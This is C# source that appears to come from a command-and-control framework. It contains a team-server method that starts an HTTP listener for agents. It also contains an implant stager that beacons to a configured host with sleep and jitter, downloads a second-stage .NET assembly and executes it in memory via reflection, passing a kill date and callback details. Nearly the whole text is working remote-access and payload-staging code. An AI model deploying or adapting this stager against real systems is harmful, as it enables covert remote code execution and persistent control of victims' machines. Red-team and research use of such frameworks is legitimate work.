public ListenerHttp StartHttpListener(NewHttpListenerRequest request, AgentController agentController, CryptoController cryptoController, string user) { var listener = new ListenerHttp { ListenerName = request.Name, Type = ListenerType.HTTP, BindPort = request.BindPort, ConnectAddress = request.ConnectAddress, ConnectPort = request.ConnectPort }; var module = new HttpCommModule { Listener = listener }; HttpListeners.Add(module); module.Init(agentController, cryptoController); module.Start(); OnServerEvent?.Invoke(this, new ServerEvent(ServerEventType.ListenerStarted, request.Name)); Log.Logger.Information("LISTENER {Event} {ListenerName} {Nick}", ServerEventType.ListenerStarted.ToString(), request.Name, user); return(listener); }
public static void Execute() { AgentID = Misc.GeneratePseudoRandomString(8); var crypto = new CryptoController(); try { var commModule = new HttpCommModule(ConnectHost, ConnectPort, SleepInterval, SleepJitter); commModule.SetMetadata(AgentID); commModule.Start(crypto); commModule.SendStageRequest(); while (StagerStatus == StagerStatus.Staging) { if (commModule.RecvData(out AgentMessage message)) { if (message.Data.Command.Equals("StageOne", StringComparison.OrdinalIgnoreCase)) { StagerStatus = StagerStatus.Staged; commModule.Stop(); var asm = Assembly.Load(message.Data.Data); var type = asm.GetType("AgentStage"); var instance = Activator.CreateInstance(type); type.InvokeMember( "HttpEntryPoint", BindingFlags.Public | BindingFlags.Static | BindingFlags.InvokeMethod, null, instance, new object[] { AgentID, KillDate, ConnectHost, ConnectPort, SleepInterval, SleepJitter }); } } } } catch (Exception e) { Console.Error.WriteLine(e.StackTrace); } }